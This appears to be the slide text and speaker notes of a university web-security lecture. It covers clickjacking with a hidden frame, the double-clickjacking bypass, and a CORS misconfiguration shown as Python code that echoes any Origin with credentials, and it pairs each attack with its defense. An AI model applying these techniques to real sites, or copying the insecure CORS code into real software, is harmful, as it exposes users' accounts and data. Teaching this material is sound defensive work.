A token proves the request came from chase.com’s own page. So the attacker shows Alice chase.com’s own page, and hides it.
[ x] An invisible frame steals Alice’s click
This is what Alice sees on evil.io: The same page with the hidden frame made half visible: Clicking Claim my prize clicks Delete my account underneath. The top layer is DemoBank’s settings page in a frame with opacity 0.0001. It is invisible, but it receives every click. The bottom layer is evil.io’s prize page with a big green button exactly under the Delete button. This is clickjacking. The click is real, it happens on DemoBank’s own page, and it carries the real token. Tokens, Origin checks, and Sec-Fetch all pass, because the request really came from DemoBank. With SameSite=Lax or Strict, the framed page has no cookie, so it is logged out. That helps, if the site sets it.
Tokens stop forged requests, so the attacker gets Alice to make the real request herself. On the left is what Alice sees on evil.io: you won an iPhone, claim your prize. On the right is the same page with the hidden frame made half visible: DemoBank’s account settings, positioned so that the Delete my account button sits exactly on top of Claim my prize. The frame has an opacity of 0.0001, invisible but still receiving every click. Alice clicks the prize; she clicks Delete. This is clickjacking. The click is real, on DemoBank’s own page, with the real token, so tokens, Origin and Sec-Fetch checks all pass. With a Lax or Strict cookie the framed page would be logged out, which helps when the site sets it.
[ +] Clickjacking was named in 2008
2008 Robert Hansen and Jeremiah Grossman name clickjacking. Adobe asks them to pull their talk: a hidden frame of the Flash settings page could turn on a visitor’s camera and microphone. 2009 A Twitter worm says Don’t Click. Clicking its button posted the same message from your account, through a hidden frame of Twitter. 2010 Likejacking on Facebook: a page that said Click here to continue hid a Like button, so any click liked it. Hundreds of thousands were hit. Defense: the page refuses to be framed. if (top != self) top.location = self.location; Frame busting: a script that breaks out of any frame. A 2010 study found it on 60 percent of the top 10 sites and bypassed every one, for example by framing twice or by blocking the navigation. X-Frame-Options: DENY A header from Internet Explorer 8, in 2009. The browser refuses to show the page in a frame. Every browser supports it. Content-Security-Policy: frame-ancestors 'none' The standard replacement, which can also list allowed parents. chase.com sends both headers today.
Some history. In 2008 Robert Hansen and Jeremiah Grossman named clickjacking; Adobe asked them to pull their conference talk, because a hidden frame of the Flash settings page could switch on a visitor’s camera and microphone. In 2009 a Twitter worm said Don’t Click, and clicking its button posted the same message from your account through a hidden frame of Twitter. In 2010, likejacking on Facebook: a page that said click here to continue hid a Like button, so any click liked it. The defense is to refuse to be framed. First came frame-busting scripts; a 2010 study found them on 60 percent of the top ten sites and bypassed every one of them. Then a header from Internet Explorer 8 in 2009, X-Frame-Options, which every browser honors, and its standard replacement, the CSP frame-ancestors directive. Those are exactly the two headers chase.com sent us in the first lecture.
[ x] Framing headers stopped it, until double-clicks
DemoBank with both headers, framed again: Framing 'http://localhost:8001/' violates the following Content Security Policy directive: "frame-ancestors 'none'". The request has been blocked. The frame stays empty, so the prize button clicks nothing. This is real output. Bypass in 2024: double-clickjacking, by Paulos Yibelo. 1. evil.io opens a small new window that asks for a double-click to prove you are human. 2. Meanwhile it sends its original tab to the real page, such as a login consent screen. 3. The first click closes the small window. The second click lands on the real button underneath. There is no frame, so the framing headers do not apply. The real site is the top window. SameSite does not apply either. The proposed fix: keep dangerous buttons disabled until the user really moves the mouse or presses a key on the page. The race continues today. Source: Paulos Yibelo, DoubleClickjacking, December 30, 2024.
Here is DemoBank’s settings page with both headers, framed by the same prize page: the frame stays empty and Chrome logs that framing violates frame-ancestors none, real output. That is the standard fix. And yes, a bypass appeared in December 2024: double-clickjacking, by Paulos Yibelo. evil.io opens a small window asking you to double-click to prove you are human. Meanwhile it sends its original tab to the real page, for example an OAuth consent screen. The first click closes the small window, and the second lands on the real button. There is no frame, so the framing headers do not apply. The proposed fix keeps dangerous buttons disabled until the user really moves the mouse or presses a key on the page. The race continues.
? The wall stops evil.io from reading chase.com. Can chase.com open a door in the wall on purpose?
Some sites really need other sites to read their data, such as an API used by a partner’s web page. The browser gives them a way to say so.
[ x] A server can open the wall by mistake
CORS lets a server tell the browser which other origins may read its answers. Access-Control-Allow-Origin: https://partner.example Access-Control-Allow-Credentials: true # the partner may read answers to requests that carry cookies DemoBank’s /api/me makes a common mistake. It copies whatever Origin arrives: o = request.headers["Origin"] response.headers["Access-Control-Allow-Origin"] = o # any origin at all response.headers["Access-Control-Allow-Credentials"] = "true" evil.io’s gift page reads Alice’s balance: Real output. The wall opened for everyone. In 2016, James Kettle found this on real sites. At one bitcoin exchange, any site could read a user’s API keys, enough to move their coins. It was fixed 20 minutes after the report. Others trusted the origin null, or any name ending in their domain. CSRF sends without reading. A CORS mistake reads, which is worse: it leaks data, tokens, and keys. The fix: compare the Origin against an exact list of partners, never echo it, and never trust null. Source: James Kettle, Exploiting CORS misconfigurations for Bitcoins and bounties, PortSwigger, October 2016.
One last door. Sometimes a server really wants another site to read its answers, for example an API used by a partner’s web page. Cross-origin resource sharing, CORS, lets the server tell the browser which origins may read, and whether cookies may be included. DemoBank’s /api/me makes a very common mistake: it copies whatever Origin arrives into the allow header, with credentials allowed. So evil.io’s gift page simply reads Alice’s balance; real output. In 2016 James Kettle found this on real sites; at one bitcoin exchange any site could read a user’s API keys, enough to move their coins, fixed twenty minutes after the report. CSRF sends without reading; a CORS mistake reads, which leaks data, tokens and keys. The fix: an exact list of partners, never echo the Origin, never trust null.
[ +] The chain shows each attack and its defense
This is your browser. This is the internet. This is chase.com’s server. SQL injection hits step 6. Keep code and data apart. Cross-site scripting hits steps 7 and 8. Encode output, and add a CSP. Request forgery hits step 4. Use SameSite cookies and a token. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it.
Back to the chain we started with, now with every attack and its best defense. SQL injection, at step six: send code and data through separate pipes. Cross-site scripting, at steps seven and eight: encode by context, and add a nonce-based content security policy. Request forgery, at step four: SameSite cookies, a token, and an Origin check. Each one is a layer, and each one had a bypass at some point, so real sites stack them.
[ +] The three attacks share one shape
The attacker controls this. This gets trusted by mistake. This is the real fix. These layers limit the damage. This is SQL injection. It is text in a request. The database parses that text as part of the query. Use parameterized queries. Use allowlists, least privilege, generic errors, and hashed passwords. This is cross-site scripting. It is text that ends up in a page. The browser runs that text as the site’s own code. Encode for the exact spot, by default. Use CSP with nonces, Trusted Types, HttpOnly, and SRI. This is request forgery. It is a page that Alice visits. The site obeys a request just because it carries Alice’s cookie. Use tokens and SameSite cookies. Check Origin and Sec-Fetch, keep GET free of changes, and send frame headers. Each time, the fix keeps the attacker’s input in a separate channel from the code or the authority.
The whole unit on one slide. SQL injection: the attacker controls text in a request, the database parses it as part of the query, and the fix is parameterized queries, with allowlists, least privilege, generic errors and hashes as layers. Cross-site scripting: the attacker controls text that ends up in a page, the browser runs it as the site’s code, and the fix is encoding for the exact spot, by default, with CSP, Trusted Types, HttpOnly and SRI as layers. Request forgery: the attacker controls a page Alice visits, the site obeys a request just because it carries her cookie, and the fix is tokens and SameSite, with Origin and Sec-Fetch checks and frame headers as layers. Every time, the fix keeps the attacker’s input in a separate channel from the code or the authority.
[ +] Here are six ideas to keep from the web unit
Never trust anything the client sends: text, headers, cookies, or the page it came from. Keep data and code apart: placeholders for SQL, encoding for HTML, argument lists for the shell. A script inside a page has the site’s full power, so every script the site loads is part of its security. A cookie proves who the user is, not what the user meant. Changes need proof of intent. The same-origin wall stops reading, not sending. Every door in it is a design decision. Every defense in this unit had a bypass. Real sites stack several layers and keep testing them.
Six ideas to keep. Never trust anything the client sends: text, headers, cookies, or the page it came from. Keep data and code apart: placeholders for SQL, encoding for HTML, argument lists for the shell. A script inside a page has the site’s full power, so every script the site loads is part of its security. A cookie proves who the user is, not what the user meant, so changes need proof of intent. The same-origin wall stops reading, not sending, and every door in it is a design decision. And every defense in this unit had a bypass, so real sites stack several layers and keep testing them.
[ +] The material comes from these sources
These lectures are based on Suman Jana’s web security slides for this course, rebuilt and extended.
DemoBank, the screenshots of it, and all terminal output marked as real were produced on my laptop on October 26, 2026, with Chrome 155 and sqlmap 1.10.10.
The comic is xkcd 327 by Randall Munroe, used under CC BY-NC 2.5. The photo of Samy Kamkar is by Dan Tentler, used under CC BY 2.0.
Screenshots of Firesheep (Eric Butler), the FlyCASS write-up (Ian Carroll), the CISA advisory, Kamkar’s write-up, the TweetDeck tweet (via Sucuri), Sansec’s report, MDN, and the OWASP Top 10 belong to their authors and are used for teaching.
Icons are Twemoji, used under CC BY 4.0.
Credits for the material and the pictures in this unit.